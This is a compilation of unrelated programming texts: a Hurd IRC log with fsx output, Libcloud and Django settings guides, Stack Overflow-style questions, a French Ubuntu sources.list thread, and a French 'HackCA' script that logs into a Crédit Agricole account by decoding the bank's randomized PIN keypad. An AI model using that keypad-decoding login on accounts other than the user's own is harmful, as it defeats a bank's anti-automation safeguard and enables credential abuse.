(10:37:04) mcsim: than why tmpfs should use defpager?
(10:37:22) braunr: it's its backend
(10:37:28) braunr: backign store rather
(10:37:38) braunr: the backing store of most file systems are partitions
(10:37:44) braunr: tmpfs has none, it uses the swap space
(10:39:31) mcsim: if we allocate memory for tmpfs using vm_allocate, will it be able to use swap partition?
(10:39:56) braunr: it should
(10:40:27) braunr: vm_allocate just maps anonymous memory
(10:41:27) braunr: anonymous memory uses swap space as its backing store too
(10:43:47) braunr: but be aware that this part of the vm system is known to have deficiencies
(10:44:14) braunr: which is why all mach based implementations have rewritten their default pager
(10:45:11) mcsim: what kind of deficiencies?
(10:45:16) braunr: bugs
(10:45:39) braunr: and design issues, making anonymous memory fragmentation horrible
...
(15:23:33) antrik: mcsim: vm_allocate doesn't return a memory object; so it can't be passed to clients for mmap()
(15:50:37) mcsim: antrik: I use vm_allocate in pager_read_page
(15:54:43) antrik: mcsim: well, that means that you have to actually implement a pager yourself
(15:56:10) antrik: also, when the kernel asks the pager to write back some pages, it expects the memory to become free.
if you are "paging" to ordinary anonymous memory, this doesn't happen; so I expect it to have a very bad effect
on system performance
(15:56:54) antrik: both can be avoided by just passing a real anonymous memory object, i.e. one provided by the defpager
(15:57:07) antrik: only problem is that the current defpager implementation can't really handle that...
$ ~/src/fsx/fsx -W -R -t 4096 -w 4096 -r 4096 bar
mapped writes DISABLED
truncating to largest ever: 0x32000
truncating to largest ever: 0x39000
READ BAD DATA: offset = 0x16000, size = 0xd9a0
OFFSET GOOD BAD RANGE
0x1f000 0x0000 0x01a0 0x 2d14
operation# (mod 256) for the bad data may be 1
LOG DUMP (16 total operations):
1(1 mod 256): WRITE 0x1f000 thru 0x21d28 (0x2d29 bytes) HOLE ***WWWW
2(2 mod 256): WRITE 0x10000 thru 0x15bfe (0x5bff bytes)
3(3 mod 256): READ 0x1d000 thru 0x21668 (0x4669 bytes)
4(4 mod 256): READ 0xa000 thru 0x16a59 (0xca5a bytes)
5(5 mod 256): READ 0x8000 thru 0x8f2c (0xf2d bytes)
6(6 mod 256): READ 0xa000 thru 0x17fe8 (0xdfe9 bytes)
7(7 mod 256): READ 0x1b000 thru 0x20f33 (0x5f34 bytes)
8(8 mod 256): READ 0x15000 thru 0x1c05b (0x705c bytes)
9(9 mod 256): TRUNCATE UP from 0x21d29 to 0x32000
10(10 mod 256): READ 0x3000 thru 0x5431 (0x2432 bytes)
11(11 mod 256): WRITE 0x29000 thru 0x34745 (0xb746 bytes) EXTEND
12(12 mod 256): TRUNCATE DOWN from 0x34746 to 0x19000 ******WWWW
13(13 mod 256): READ 0x14000 thru 0x186d8 (0x46d9 bytes)
14(14 mod 256): TRUNCATE UP from 0x19000 to 0x39000 ******WWWW
15(15 mod 256): WRITE 0x28000 thru 0x3548c (0xd48d bytes)
16(16 mod 256): READ 0x16000 thru 0x2399f (0xd9a0 bytes) ***RRRR***
Correct content saved for comparison
(maybe hexdump "bar" vs "bar.fsxgood")
$ ~/src/fsx/fsx bar
truncating to largest ever: 0x13e76
READ BAD DATA: offset = 0x1f62e, size = 0x2152
OFFSET GOOD BAD RANGE
0x1f62e 0x0206 0x0000 0x 213e
operation# (mod 256) for the bad data unknown, check HOLE and EXTEND ops
LOG DUMP (6 total operations):
1(1 mod 256): TRUNCATE UP from 0x0 to 0x13e76
2(2 mod 256): WRITE 0x17098 thru 0x26857 (0xf7c0 bytes) HOLE ***WWWW
3(3 mod 256): READ 0xc73e thru 0x1b801 (0xf0c4 bytes)
4(4 mod 256): MAPWRITE 0x32e00 thru 0x331fc (0x3fd bytes)
5(5 mod 256): MAPWRITE 0x7ac1 thru 0x11029 (0x9569 bytes)
6(6 mod 256): READ 0x1f62e thru 0x2177f (0x2152 bytes) ***RRRR***
Correct content saved for comparison
(maybe hexdump "bar" vs "bar.fsxgood")
|
Getting Started
This page contains short instructions on how to get up and running with Libcloud in just a couple of minutes.
For more in-depth instructions and examples, please refer to the documentation.
Libcloud is available on PyPi. You can install latest stable version using pip:
pip install apache-libcloud
If you feel adventurous and want the latest and greatest, you can install latest development version from our Git repository:
pip install -e https://git-wip-us.apache.org/repos/asf/libcloud.git@trunk#egg=apache-libcloud
Keep in mind that trunk is usually under heavy development and can contain backward incompatible changes. You should only use it if you know what you are doing.
This section describes a standard work-flow which you follow when working with Libcloud drivers.
Code snippet bellow use compute API as an example, but exactly the same work-flow is followed also when working with other APIs.
1.. Obtain reference to the provider driver
from pprint import pprint from libcloud.compute.types import Provider from libcloud.compute.providers import get_driver cls = get_driver(Provider.RACKSPACE)
2.. Instantiate the driver with your provider credentials
driver = cls('my username', 'my api key')
Keep in mind that some drivers take additional arguments such as regionand api_version.
For more information on which arguments you can pass to your provider driver, see provider-specific documentation and the driver docstrings.
3.. Start using the driver
pprint(driver.list_sizes()) pprint(driver.list_nodes())
4.. Putting it all together
from pprint import pprint from libcloud.compute.types import Provider from libcloud.compute.providers import get_driver cls = get_driver(Provider.RACKSPACE) driver = cls('my username', 'my api key') pprint(driver.list_sizes()) pprint(driver.list_nodes())
The best thing to do after understanding the basic driver work-flow is to visit the documentation chapter for the API you are interested in (Compute, Object Storage, Load Balance, DNS). Chapter for each API explains some basic terminology and things you need to know to make an effective use of that API.
After you have a good grasp of those basic concepts, you are encouraged to check the documentation for the provider you are interested in (if available) and usage examples. If the driver specific documentation for the provider you are interested in is not available yet, you are encouraged to check docstrings for that driver.
|
I'm writing a webapplication using bottle.py, Beaker for sessions and a custom AAA written module, as many I'm worried about security and the best method to protect against some targeted attack like the one I've mentioned.
As an example I have the following code:
@route('/manage/adddomain',method='POST')
def adddomain():
#This checks if user has enough power to create a domain
aaa.require(50,'/forbidden')
user = aaa.getusername() # This is retrieved from a server side session
domainname = request.forms.get('domain')
description = request.forms.get('description')
# Additional checks are performed in the sql module
# to protect against forged requests with valid login
return sql.createdomain(user,domainname,description)
What additional checks would you perform to secure your webapplication?
|
We have two tables - Tasks and TasksUsers (users assigned to task). Task has EntityCollection called TaskUsers.
This query returns number of tasks per username:
model.TaskCountByAssignee =
(
from t in TaskRepository.List()
from tu in t.TaskUsers
group tu by tu into tug
select new {Count = tug.Count(), UserName = tug.Key.Username}).ToList()
This query returns:
Administrator 11
LukLed 5
I want it to return:
Administrator 11
LukLed 5
null 10
Some of tasks don't have any assignment, but I still want them in my result set. Normally, in SQL, it is achieved by changing join to left join. In Linq, outside EF, I could use DefaultIfEmpty(). How can it be done in linq to entities?
|
Extending Django Settings for the Real World
A basic Django installation keeps its global variables in a file called settings.py. This is perfect for simple deployment because it allows the developer to overwrite Django variables like INSTALLED_APPS or SESSION_ENGINE very easily. You simply update the variable like so:
SESSION_ENGINE = 'django.contrib.sessions.backends.cache'
From within the shell, you can see the result:
./manage.py shell
>>> from django.conf import settings
>>> settings.SESSION_ENGINE
'django.contrib.sessions.backends.cache'
Many people have two environments in which they work, and therefore a typical settings.py file will have something like this at the end:
try:
from local_settings import *
except ImportError:
pass
This overwrites variables from a file called local_settings.py, overriding any existing variables in the settings.py file. Try it. Add the import code above into your settings.py file and create a new file called local_settings.py in the same directory as the settings.py file and add this to it:
SESSION_ENGINE = 'django.contrib.sessions.backends.cached_db'
Now, if you enter the shell like you did above and request settings.SESSION_ENGINE, you’ll get ‘django.contrib.sessions.backends.cache’. This is very handy because, in a typical situation, you can have a settings.py file which works for all your environments and then have a local_settings.py file for each environment that overrides the variable values.
Problems with the Standard Settings files
Unfortunately, in this scenario, variables from the settings.py file cannot be interpreted in the local_settings.py file and therefore, you couldn’t do something like this:
INSTALLED_APPS += ('debug_toolbar',)
In this situation, you’ll get a NAME_ERROR in which INSTALLED_APPS is undefined rather than (‘django.contrib.auth’,’debug_toolbar’,).
A Modest Proposal
What we do at Yipit is to put all of our variables in a settings directory:
settings/
__init__.py (where the variable for all environments are)
active.py (optional - defines the environment we're in - not under version control)
development.py (shared by all the development environments)
production.py (live site)
This allows us to create an init.py file for all the variables that are the same across all environments. The init.py file requires no imports (except whatever you may need from Python itself, or other libraries). Then, each file imports from init.py in the way you might imagine:
production.py:
from settings import *
#Alter or add production specific variables
development.py:
from settings import *
#Alter or add development specific variables
active.py:
from settings.development import *
#This file denotes which environment we're in.
#This active.py file creates a development environment
Note: If you’re not that familiar with Python, ‘from settings’ accesses settings/init.py.
In more complex scenarios, you may also want to inherit settings from files other than setting/init.py, and this system fully supports that option. For example, you may have a settings/staging.py files that pulls from settings/init.py and then settings/development.py could pull from staging. It’s really up to you.
This approach has some shortcomings, notably that you can’t dynamically change variables - but that’s really not the point of settings. Now, you can change variables on a per-environment basis like this (in, say, development.py):
INSTALLED_APPS += ('debug_toolbar',)
Which will set INSTALLED_APPS as (‘django.contrib.auth’,’debug_toolbar’,). Here is our manage.py file:
#!/usr/bin/env python
import sys
import traceback
from os.path import abspath, dirname, join
from django.core.management import execute_manager
SETTINGS_ACTIVE_CONTENTS = "\033[1;32mfrom settings.local import *\033[1;33m"
try:
from settings import active as settings
except ImportError, e:
print '\033[1;33m'
print "Apparently you don't have the file settings/active.py yet."
print "Create it containing '%s'\033[0m" % SETTINGS_ACTIVE_CONTENTS
print
print "=" * 20
print "original traceback:"
print "=" * 20
print
traceback.print_exc(e)
sys.exit(1)
sys.path.insert(0, abspath(join(dirname(__file__), "../")))
sys.path.insert(0, join(settings.PROJECT_ROOT, "apps"))
if __name__ == "__main__":
execute_manager(settings)
Final Thoughts
If we make further changes to our settings configuration, we’ll do a follow-up post. Some modifications we are considering:
Using Chef to hold many of the systemwide configuration parameters (usernames, machine addresses, etc…) in order to move that information away from the application layer and onto the environment layer.
Creating an additional settings file that imports active.py for calculated settings. For example, if a read replica database has not been declared, but the application expects one, have the default database act as the read replica.
If you have a different way of handling settings, we would love to hear from you in the comments below.
Adam Nelson is CTO at Yipit.
To find out about future posts, you can follow along using
|
Trudy
Résolu ! Ouvrir fenêtre Dépôts
Bonjour, Je voudrais savoir comment ouvrir la fenêtre Dépots, si je ne l'ai pas dans Système-Aministration ... Merci pour vos réponses !
Dernière modification par Trudy (Le 04/12/2005, à 15:57)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Ca s'appel "Gestionnaire de paquets synaptic" dans le chemin que tu donnes.......;)
Hors ligne
janno59
Re : Résolu ! Ouvrir fenêtre Dépôts
dans systeme>administration>gestionnaire de paquets Synaptic.
Puis onglet categorie.
Sinon en console
sudo gedit /etc/apt/sources.list
jean
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci ! Mais, je voulais ouvrir cette fenêtre parce que lorsque j'ai voulu ouvrir le Gestionnaire de fichiers, "il" me disait:
" Les problèmes suivants ont été rencontrés: E. Le type "breesy" est inconnu sur la ligne 3 dans la liste des /sources/etc/apt E. impossible de lire la liste des sources
Vous pouvez essayer de corriger ce problème en ouvrant la fenêtr'e des dépots !
J'ai fait ce que Jean tu me conseillais et sur la console, cela ouvre une fenêtre sources.list(etc/apt) - gedidt avec cela d'écrit:
#deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/
breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
deb http://fr.archive.ubuntu.com/ubuntu breezy multiverse universe
main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main
restricted universe multiverse
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main
restricted universe multiverse
# PLF repositories, contains litigious packages, see
http://wiki.ubuntu-fr.org/doc/plf
deb http://archive.ubuntu.com/ubuntu hoary main restricted multiverse universe
deb-src http://archive.ubuntu.com/ubuntu hoary main restricted
multiverse universe
deb http://archive.ubuntu.com/ubuntu hoary-updates main restricted
deb-src http://archive.ubuntu.com/ubuntu hoary-updates main restricted
deb http://security.ubuntu.com/ubuntu hoary-security main restricted universe
deb-src http://security.ubuntu.com/ubuntu hoary-security main
restricted universe
## Freecontrib, funny packages by the Ubuntu PLF Team
deb ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/plf/ breezy
free non-free
deb-src ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/plf/
breezy free non-free
deb ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/freecontrib/
breezy free non-free
deb-src ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/freecontrib/
breezy free non-free
deb http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb http://fr.archive.ubuntu.com/ubuntu/ breezy universe
Que devrais je faire avec ça ?? Merci pour vos réponses ! !
Excusez moi si le texte est long ! !
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Bonjour,
Si tu es sous Hoary il te faut un sources.list avec les dépots Hoary
Si tu es sous Breezy il te faut un sources.list avec les dépots Breezy
Ton sources.list est un mix des 2
A+
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci ! ! Mais je fais quoi et comment ??
Sois gentil de tout m'expliquer, je débute sur Ubuntu ! !
Merci !
Et sur le Terminal après que j'ai mis ce que Jean conseillait il est dit :
"(gedit:17907): GnomePrint-WARNING **: Could not create filter from description ' frgba': filter 'frgba' is unknown
(gedit:17907): GnomePrintCupsPlugin-WARNING **: iconv does not support ppd character encoding: ISOLatin1, trying CSISOLatin1
gaetane@linux:~$
Dernière modification par Trudy (Le 04/12/2005, à 12:17)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Tiens ,je te refiles le miens, se sera plus clair,on sais jamais si tu enlèeve des dépots qui fallait pas....
Au fait, tu es bien en breezy ??? sinon il est pas valable !
#deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/ breezy main restricted
deb http://fr.archive.ubuntu.com/ubuntu breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb http://fr.archive.ubuntu.com/ubuntu breezy universe
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
deb http://fr.archive.ubuntu.com/ubuntu breezy multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu breezy multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
deb http://security.ubuntu.com/ubuntu breezy-security universe
deb-src http://security.ubuntu.com/ubuntu breezy-security universe
deb http://security.ubuntu.com/ubuntu breezy-security multiverse
deb-src http://security.ubuntu.com/ubuntu breezy-security multiverse
## PLF repositories, contains litigious packages, see http://wiki.ubuntu-fr.org/doc/plf
deb http://antesis.freecontrib.org/mirrors/ubuntu/plf/ breezy free non-free
deb-src http://antesis.freecontrib.org/mirrors/ubuntu/plf/ breezy free non-free
## Freecontrib, funny packages by the Ubuntu PLF Team
deb http://antesis.freecontrib.org/mirrors/ubuntu/freecontrib/ breezy free non-free
deb-src http://antesis.freecontrib.org/mirrors/ubuntu/freecontrib/ breezy free non-free
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci !
Comment je peux savoir si je suis sur breezy ?? Michel disait que mon "source list" est un mixe des deux ?? (Hoary et Breezy)!
Je ne sais pas ce que c'est Breezy et Hoary !!!!
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Quand l'as tu installé ? as tu fais un apt-get dist-upgrade ? vas en console, et tape dedans uname -a et copie/colle le resultat ....
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Re
Hoary est la version 5.04, Breezy la version 5.10 ( a.mm)
Quel Kernel utilises-tu : 2.6.12-xx Brezy
Dans Applications ---> Outils Système as-tu Editeur de menu Applications ? Si oui, Breezy
A+
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Voilà le résultat !
Linux linux 2.6.12-10-386 #1 Fri Nov 18 11:51:02 UTC 2005 i686 GNU/Linux
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Breezy, on a posté presque en même temps
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Michel, oui, j'ai editeur de Menu
Donc je serais Breezy ! ?
Qu'est ce que c'est "Kernel' ? Et Breezy et Hoary ?? Des variantes de Ubuntu ???
Dernière modification par Trudy (Le 04/12/2005, à 12:57)
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Pas des variantes, disons des versions d'Ubuntu. Il y a eu Warty, Hoary, Breezy Badger étant la dernière stable, sortie le 13/10/05.
La prochaine version sera la Dapper Drake qui est en unstable (testing on va dire) actuellement.
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Bon, je viens de copier coller ce que m'a donné Express ses sources.list.
Et je retourne pour essayer d'ouvrir mon Gestionnaire de paquets Synaptic, et cela revient comme je vous l'ai mis ci dessus : les deux erreurs ! ! ??? Pourtant, cela devrait marcher, puisque je suis Breezy ! ! ????
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Une nouvelle version tous les 6 Mois, numérotés de cette façon ,le premier = l'année ! :
4.10-->Warty
5.04-->Hoary
5.10-->Breezy
6.04-->Dapper Drake (la prochaine version,actuellement "unstable")
Dernière modification par Express (Le 04/12/2005, à 13:10)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Si tu as copier/coller ce que je t'ai fournis, il faut en suite ouvrir le gestionnaire comme tu le fais , mais en haut à gauche tu dois cliquer sur l'onglet "recharger" ou alors en console tu fais : sudo apt-get update
Dernière modification par Express (Le 04/12/2005, à 13:14)
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Copy le sources.list que t'a donné Express
sudo gedit /etc/apt/sources.list
Selectionne tout dans ton sources.list colle le sources.list d'express, enregistre le.
Dans un terminal: sudo apt-get update
et après ça marchera
A+
Dernière modification par michel2652 (Le 04/12/2005, à 14:14)
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Express, je te laisse on poste en double :):)
A+
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Express, je te laisse on poste en double :):)
A+
:( mais on n'est pas trops de deux .....
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
J'ai "copié-collé" ce que tu m'as fourni. J'ai ouvert le Gestionnaire de fichiers, j'ai cliqué sur "Recharger" : ces deux erreurs reviennent ! !
Puis: Echec du téléchargement de tous les fichiers d'index
Le dépot ne semble plus être disponible ou ne peut être contacté, à cause d'un problème de réseau (??) S'il reste un fichier d'index plus ancien, il sera utlisé, sinon le dépot sera ignoré !
?????
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Rebonjour ! !
J'ai fait, comme tout au début Jeano me le conseiollait: sudo gedit /etc/apt/sources.list
Là dans la fenêtre qui s'est ouverte, j'ai tout effacé et copie ce que Express m'avait fourni ! !
Maintenant, Michel, tu me dis d'écrire dans le Terminal : sudo gedit /etc/X11/xorg.conf Et c'est une toute autre fenêtre qui s'ouvre ! ! ??? dois faire la même chose dans celle ci: effacer ce qu'il y a et y mettre le texte d'Express ??? Ou ai je fait l'erreur ??
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Re,
sudo gedit
Copy ce sources.list
deb http://fr.archive.ubuntu.com/ubuntu breezy universe main restricted multiverse
deb http://security.ubuntu.com/ubuntu breezy-security universe main restricted multiverse
deb http://archive.ubuntu.com/ubuntu/ breezy-updates main restricted universe multiverse
#Backports
deb http://archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://ubuntu-backports.mirrormax.net/ breezy-extras main restricted universe multiverse
#PLF
deb http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
Ficheir ---> Enregistrer sous ---> Nom du fichier sources.list
Enregistrer dans le dossier /etc/apt
Le fichier existe déjà, remplacer
Console sudo apt-get update
Ca doit etre bon
A+
Dernière modification par michel2652 (Le 04/12/2005, à 13:47)
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci !! Mais dans le terminal vient: E: Le type « breezy » est inconnu sur la ligne 3 dans la liste des sources /etc/ apt/sources.list
C'est peut être parce que je n'ai pas effacé ce qu'il y avait avant de copier coller ce que tu viens de me donner ???
Dernière modification par Trudy (Le 04/12/2005, à 13:56)
Hors ligne
|
I am developing large backend for some web apps. This is my first python and SQLAlchemy project, so I am confused with some things. And was kind of spoiled by Java programming tools and IDE`s, compared to python`s (I use pydev in eclipse anyway). I need help with how to structure the project and write tests. I`ll describe situation first.
In PyDev i named my project for example "ProjectName", and below I have shown my current folder/package and files structure.
ProjectName
projectname
__init__.py
some_package
__init__.py
Foo.py
Bar.py
tests
unit_tests
__init__.py
some_package
__init__.py
TestFoo.py
TestBar.py
load_tests
integration_tests
__init__.py
unit_tests
projectname
I use declarative style in SQLAlchemy. Foo and Bar are some classes, such that Foo extends SQLAlchemy declarative Base and Bar extends Foo. Under 'projectname.some_package' in it`s __init__.py I have this code :
engine = create_engine('mysql+mysqldb://user:pass@localhost:3306/SomeDataBase', pool_recycle=3600)
Session = sessionmaker(bind=engine)
Base = declarative_base()
So, Foo imports this Base and extends it, and Bar imports Foo and extends it. My first question is, should I store Base in that __init__.py and use it like I started with this 2 classes? This create_engine is just temporary there, I would like to have config file and load it`s settings from there, how to do that? Where should I call Base.metadata.create_all(), so it can create all database tables at once?
Next, in testing classes, for example in TestFoo I have this code :
def setUp(self):
#create database tables and session object
self.engine = create_engine('mysql+mysqldb://user:pass@localhost:3306/SomeDatabase', pool_recycle=3600)
Session = sessionmaker(bind=self.engine)
Foo.metadata.create_all(bind=self.engine)
self.session = Session()
def tearDown(self):
#drop all tables and close session object
self.session.close()
meta = MetaData(self.engine)
meta.reflect()
meta.drop_all()
End then I have some test methods in that test class and it runs fine. In TestBar class difference is that
Foo.metadata.create_all(bind=self.engine)
is :
Bar.metadata.create_all(bind=self.engine)
When I run TestBar, it also runs fine. But, when I select both test classes and run them, I get errors :
/usr/local/lib/python2.7/dist-packages/sqlalchemy/ext/declarative.py:1336: SAWarning: The classname 'Foo' is already in the registry of this declarative base, mapped to <class 'projectname.some_package.Foo.Foo'>
_as_declarative(cls, classname, cls.__dict__)
/usr/local/lib/python2.7/dist-packages/sqlalchemy/engine/default.py:330: Warning: Field 'id' doesn't have a default value
cursor.execute(statement, parameters)
What is the problem here? I tried to run tests with nose and pydev runners and get same errors. Then I tried to move database tables creation in __init__.py in some_package under unit_tests but I could not get it working. Also, I`m confused about how python import works. For example if I add Foo import in TestBar class I also get errors similar to that that I have shown already. How can I run many unit tests that test SQLAlchemy classes, all at once?
So to extract most important questions again :
How to structure python project that uses SQLAlchemy declarative style and unittests correctly. BTW I have many class methods in Foo and Bar that interact with database, in context of their respective classes, I hope that is OK?
Where to store Base declarative class and how to properly use it in whole project, and how to extract all database schema (that I defined declaratively in my classes) anywhere in project and use it?
How to best use unit tests with SQLAlchemy and run multiple unittests at once?
If u have any other suggestions feel free to add it?
Thank you very much for the help.
|
I want to do something which I thought is simple.
Actually with the python logging module, I am interested logging everything on the command line at the level given from the command line arguments, and log to file to a fixed DEBUG level.
Creating two different loggers with different levels doesn't work, but setting the levels of two different handlers both added to the root logger doesn't work either, so any idea about how I should actually do it? (reading on other links the second approach should work, so am I doing something else stupid?)
This is the code which sets up my logging system at the moment:
class LoggerSetup(object):
"""Setup the different logger objects
"""
def __init__(self):
self.root_logger = logging.getLogger()
self.shell_hdlr = logging.StreamHandler()
#TODO: add another logging handler which stores to a temporary file
#which should be cleaned up later
def setup_shell_logger(self, log_level):
self.root_logger.setLevel(LOG_LEVELS[log_level])
# in this way the root logger is not set but the handlers are set
self.shell_hdlr = logging.StreamHandler()
self.shell_hdlr.setLevel(LOG_LEVELS[log_level])
self.shell_hdlr.setFormatter(StarFormatter())
#FIXME: add the support for regular expression exclusion too
self.root_logger.addHandler(self.shell_hdlr)
def setup_log_include(self, log_include):
"""Set up the filter to include log messages
"""
if log_include:
incl = FilterInclude(log_include)
self.shell_hdlr.addFilter(incl)
def setup_log_exclude(self, log_exclude):
"""Set up the filters to exclude log messages
"""
if log_exclude:
excl = FilterExclude(log_exclude)
self.shell_hdlr.addFilter(excl)
def setup_file_logging(self):
"""Set up the file logger, which always logs in DEBUG mode
even if the top level logger is set to another level
"""
#XXX: not working, one possible way to make it work is to create
#only one log, and different handler/filters to make to handle all
#the different outputs
file_handler = logging.FileHandler(LOG_FILENAME)
# the file logging is always in debug mode
file_handler.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s - %(asctime)s')
file_handler.setFormatter(formatter)
self.root_logger.addHandler(file_handler)
|
Halike
[script/python] accéder à son compte crédit agricole
Bonjour à tous,
Je vous présente mon premier vrai script python.
Il permet de récupérer des informations sur ses comptes Credit Agricole (pour le moment, simplement le solde des comptes, mais on peut faire mieux), sans passer par le site (que je trouve assez mal foutu).
Comme je l'ai dit, je suis un grand débutant en python (meme pas une semaine a mon actif), donc le script est largement perfectible. D'autre part, j'attends d'éventuels commentaires qui pourraient m'aider à parfaire ma syntaxe balubutiante.
Sans plus attendre, voila le fichier zip (edit: lien mort. Voir la fin du post).
Ou alors le code:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from urllib import urlencode
import urllib2
import re
import cookielib
class HackCA():
"Récupère des informations concernant un compte Credit Agricole"
def __init__(self,sCompte,sCode):
#Les paramètres pour l'initialisation dont le numero du compte utilisé pour s'authentifier,
# ainsi que le code secret à 6 chiffres
self.sCompte,self.sCode = sCompte,sCode
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
urllib2.install_opener(self.opener)
self.sUrlForm='https://www.cr867-comete-g2-enligne.credit-agricole.fr/stb/entreeBam'
def getPageLogin(self):
#Retourne le code source complet de la page d'authentification
dcPostData={'TOP_ORIGINE':'V','vitrine':'0','largeur_ecran':'800','hauteur_ecran':'600','origine':'vitrine','situationTravail':'BANQUAIRE','canal':'WEB','typeAuthentification':'CLIC_ALLER','urlOrigine':'http://www.ca-norddefrance.fr'}
dcPostData=urlencode(dcPostData)
req=urllib2.Request(self.sUrlForm,dcPostData)
fHandle=urllib2.urlopen(req) #TODO: une gestion d'erreurs
sLoginPageSource=fHandle.read()
fHandle.close()
return sLoginPageSource
def getUniqId(self,sPageSource):
#La page contenant le formulaire d'uthentification contient un identifiant unique
#Cet identifiant doit etre passé dans les paramètres POST
#Cette méthode retourne cet identifiant
rxUniqId=re.compile('name="idUnique" value="([^"]+)"')
return rxUniqId.search(sPageSource).group(1)
def getCodeTranslation(self,sPageSource):
#Le site utilise un système de pavé numerique, sur lequel les chiffres sont placés aléatoirement.
#Quand on clique sur un chiffre, le systeme enregistre la "position" du clic, pas le chiffre cliqué.
#Cette méthode retourne donc une "traduction" du code secret en termes de positions sur le pavé numerique
rxRandomPositions=re.compile('<td class="case" onClick="clicPosition\\(\'(\\d{2})\'\\)".+? (\\d) ',re.DOTALL)
lTranslation=rxRandomPositions.findall(sPageSource)
def tupleKey(t):
return t[1]
lTranslation.sort(key=tupleKey)
return ','.join([lTranslation[int(i)][0] for i in self.sCode])
def getPageLogged(self,sPageSource):
#Retourne le code source de la page d'accueil, une fois loggé.
#Cette page contient entre autres le solde des comptes.
sUniqId=self.getUniqId(sPageSource)
sTranslatedCode=self.getCodeTranslation(sPageSource)
dcPostData={'origine':'vitrine','situationTravail':'BANQUAIRE','canal':'WEB','typeAuthentification':'CLIC_RETOUR','idUnique': sUniqId ,'CCCRYC': sTranslatedCode ,'CCPTE': self.sCompte,'CCCRYC2':'000000'}
dcPostData=urlencode(dcPostData)
req=urllib2.Request(self.sUrlForm,dcPostData)
fHandle=urllib2.urlopen(req) #TODO: une gestion d'erreurs
sPageSource=fHandle.read()
fHandle.close()
return sPageSource
def getBalance(self,sPageSource):
#Cette méthode retourne une liste contenant les soldes des différents comptes
rxMoney=re.compile('class="montant3">\\s*([0-9 ]+,\\d{2})')
lAccountBalances=rxMoney.findall(sPageSource)
rxNonDigit=re.compile(' ')
def fnGenerator(rxp):
return lambda x:rxp.sub('',x)
return map(fnGenerator(rxNonDigit),lAccountBalances)
